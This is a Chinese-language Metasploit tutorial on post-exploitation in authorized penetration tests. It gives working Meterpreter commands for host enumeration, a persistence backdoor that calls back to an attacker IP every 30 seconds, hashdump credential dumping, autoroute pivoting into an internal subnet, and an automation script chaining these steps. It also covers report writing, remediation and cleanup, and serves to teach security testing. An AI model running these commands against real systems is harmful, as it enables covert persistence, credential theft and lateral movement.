前面四篇带你从”装 MSF”走到”拿到 Meterpreter、抓了哈希”。这一篇是 MSF 基础系列的收尾——后渗透(post-exploitation):在目标上站稳脚跟后,怎么系统性收集情报、留一个能再回来的后门、并把目标变成你打内网其他机器的跳板。这些都是授权渗透里”验证危害程度”的关键动作。
本文所有操作仅用于你对自有或已授权的目标。持久化后门、内网跳板等动作务必在授权范围内,并在测试后清理。
后渗透第一步:系统化本地信息收集
拿到 shell 别急着乱跑,先把”这台机器本身”摸透。post/ 模块里有一大堆现成的信息收集脚本:
meterpreter > run post/windows/gather/enum_system # 系统/补丁/软件信息
meterpreter > run post/windows/gather/enum_applications # 装了哪些软件(找提权面)
meterpreter > run post/windows/gather/check_ defenses # 探测有没有杀软/EDR
meterpreter > run post/multi/gather/env # 环境变量(可能含密钥/路径)
这些模块的产出会进数据库,你随时 creds/loot 查看。loot 是 MSF 专门存”战利品”(抓到的文件、哈希、配置)的地方:
msf6 > loot # 列出已收集的战利品文件
msf6 > creds # 列出抓到的凭据
找提权线索
信息收集时重点看两件事,它们直接决定你下一步能不能提权:
- 补丁情况:
enum_system会列出已装补丁,和漏洞库比对,缺的补丁可能对应一个本地提权 exploit(如exploit/windows/local/...)。 - 运行的服务/软件:某些第三方服务以 SYSTEM 运行且有漏洞,是可利用的提权点。
MSF 的本地提权模块都在 exploit/windows/local/ 下,配合前面 getuid 显示的当前权限使用。提权细节(令牌、服务、内核漏洞)我们放在”内网渗透·权限提升”一章专门讲,这里先知道”信息收集要为提权找线索”这个思路。
持久化:留一个能再回来的口子
授权渗透里,“验证攻击者能否长期潜伏”是重要目标。持久化就是模拟这一步——在目标上留后门。常见手法(MSF 都有模块):
- 计划任务(Schedule):定期执行你的 payload。
- 服务(Service):注册一个开机自启的服务。
- 注册表 Run 键:用户登录时自动运行。
meterpreter > run persistence -U -i 30 -p 4444 -r 192.168.1.5
# -U 当前用户登录时运行;-i 30 每 30 秒回连一次;-p/-r 指定回连端口与 IP
⚠️ 重要:持久化后门在真实授权项目里,测试结束必须清理掉(删计划任务/服务/注册表项),否则你留下的后门就成了真正的安全风险。职业渗透的素养是”来过、验证过、清干净、写清楚”。
开路由:把目标当内网跳板
这是 MSF 最实用的后渗透能力之一。当你拿下的机器身处内网,而它的内网你直接访问不到时,可以让 MSF 通过这台机器转发流量,把它当跳板去打内网其他主机。
meterpreter > run get_local_subnets # 看目标所在的内网段
meterpreter > background # 退回控制台
msf6 > use post/multi/manage/autoroute # 自动把目标路由加进 MSF
msf6 post(autoroute) > set SESSION 1
msf6 post(autoroute) > set SUBNET 10.0.0.0
msf6 post(autoroute) > set NETMASK 255.255.255.0
msf6 post(autoroute) > run
加完路由后,你在 MSF 里扫 10.0.0.0/24 的流量就会经由 1 号会话转发——相当于你”坐”在那台机器上访问它的内网。这正是横向移动的起点(内网篇会展开)。
把行动整理成可交付记录
授权渗透不是”打进去就完事”,最终要交付报告。MSF 的数据库正是报告底稿:
hosts/services:资产与开放服务。vulns:发现的漏洞及利用结果。creds:获取的凭据(报告中要脱敏处理)。loot:抓到的关键文件。
配合 db_export 还能导出 XML 给报告工具。记住:报告里要写清复现步骤、影响、修复建议,这才是客户付钱买的价值。
常见新手坑
- 持久化后门忘清理:测试后残留后门,既不安全也不专业,务必删干净。
- 没加路由就扫内网:直接扫
10.x不通,是因为你本地没有到那段的路由,要先autoroute。 - loot/creds 不整理:收集了一堆却没归类,写报告时找不到,养成随时看
loot/creds的习惯。 - 只做技术不做记录:渗透的价值在”可复现 + 可修复”,边打边记。
进阶:把后渗透动作串成”剧本”
熟练之后,你会把重复的后渗透动作写成脚本/资源文件(.rc),一次性自动执行,省去手敲:
# 一个后渗透资源文件示例 post.rc
run post/windows/gather/enum_system
run post/windows/gather/enum_applications
hashdump
run post/multi/manage/autoroute SUBNET=10.0.0.0 NETMASK=255.255.255.0
# 执行:msfconsole -r post.rc
这在”同一批机器要跑同样收集”的授权项目里特别省时间。但要注意:自动化的持久化动作更要记得清理——脚本跑完留下的后门,人工更容易忘。
另外,后渗透的”度”要和服务范围对齐:客户只让你验证”能否提权到域管”,你就验证到能提权即可,不必真把域控干瘫;客户要你验证”持久化是否被检测到”,你就留后门看 EDR 报不报,而不是真做破坏。职业渗透的边界感很重要。
实战:把后渗透整理成报告条目
授权渗透的产出是报告,不是”我进去了”。给一个把技术动作翻译成报告条目的例子:
【发现】资产 192.168.1.20(FILESRV,Windows Server 2016)
存在 MS17-010(CVE-2017-0144)未修复。
【利用】通过 exploit/windows/smb/ms17_010_eternalblue
获取 SYSTEM 权限的 Meterpreter 会话。
【影响】攻击者可完全控制该文件服务器,读取/篡改所有共享文件。
【凭据】抓取本地管理员 NTLM 哈希 aad3b435...:xxxxxxxx,
可用于 Pass the Hash 横向至同口令的其他主机。
【修复建议】
1) 安装 MS17-010 补丁(KB4013389);
2) 禁用 SMBv1;
3) 统一整改本地管理员口令,避免全网通用;
4) 部署 EDR 监控异常 SMB 与 Meterpreter 行为。
注意报告里凭据要脱敏(哈希可写,明文密码在交付前处理),且每条发现都带”复现步骤 + 影响 + 修复建议”——这才是客户付钱买的价值,也是和”纯黑客”的本质区别。
清理:走之前把痕迹擦干净
职业渗透和”入侵者”的关键区别之一,是离场时清理自己的痕迹。授权测试里你留下的东西,必须移除,否则就成了真实风险:
- 删持久化后门:
persistence建的计划的任务/服务/注册表项,用对应run post/windows/manage/...或手动删干净。 - 删上传的文件:你拷到目标的木马、脚本、工具,清掉。
- 清日志要慎重:Windows 事件日志、Linux 的
~/.bash_history等——有些测试要求”验证蓝队能否从日志发现你”,这时不能清,反而要留痕供蓝队分析。是否清日志以授权范围为准。 - 保留报告证据:清理的是”你的后门和工具”,但截图、哈希、漏洞证据要留着写报告。
一句话:清掉你埋的”雷”,留下你发现的”证”。雷不清理会害客户,证不留下报告写不出。
一句话收尾
把 MSF 基础五章串起来看:入门让你跑起框架,侦察摸清目标,利用+payload 打开口子拿到会话,Meterpreter 在会话里操作,后渗透 站稳脚跟并开跳板。这条链就是”从装工具到控制一台机”的完整路径。接下来,用 Cobalt Strike 基础做长期驻留与团队协作,用 内网渗透把”一台”扩成”整个内网”——三套合起来,红队入门能力就齐了。
常见误区
- “后渗透 = 想干啥干啥”:一切以授权范围为界,超出范围即使技术可行也不做。
- “持久化忘了清”:测试后残留后门既不安全也不专业,务必删净。
- “只收不整理”:
loot/creds要归类,否则写报告时找不到证据。 - “自动脚本省事就乱跑”:
.rc自动化放大效率也放大失误,跑前看清每条。
自测题
- 后渗透信息收集重点为”提权”找哪两类线索?
persistence做了什么?为什么测试后必须清理?autoroute在内网横向里扮演什么角色?- 为什么后渗透动作要”与服务范围对齐”?
这一篇你该记住的
- 后渗透先用
post/模块做系统化本地信息收集,产出进loot/creds。 - 信息收集重点找补丁缺口和高权限服务作为提权线索。
- 持久化(
persistence)模拟攻击者长期潜伏,但测试后必须清理。 autoroute把拿下机器当跳板,经其转发流量打内网——横向移动的起点。- 用
hosts/services/vulns/creds/loot整理成可交付报告底稿。
到这里,Metasploit 基础五章就讲完了:从框架入门、auxiliary 侦察、exploit/payload 利用、Meterpreter 会话,到后渗透的持久化与跳板。你已经能用 MSF 完整走完”侦察→利用→控制→立足”这条线。下一套我们换个工具——Cobalt Strike 基础,看另一款红队常用的框架怎么起 Team Server、用 Beacon 做同样的事,以及它和 MSF 的配合。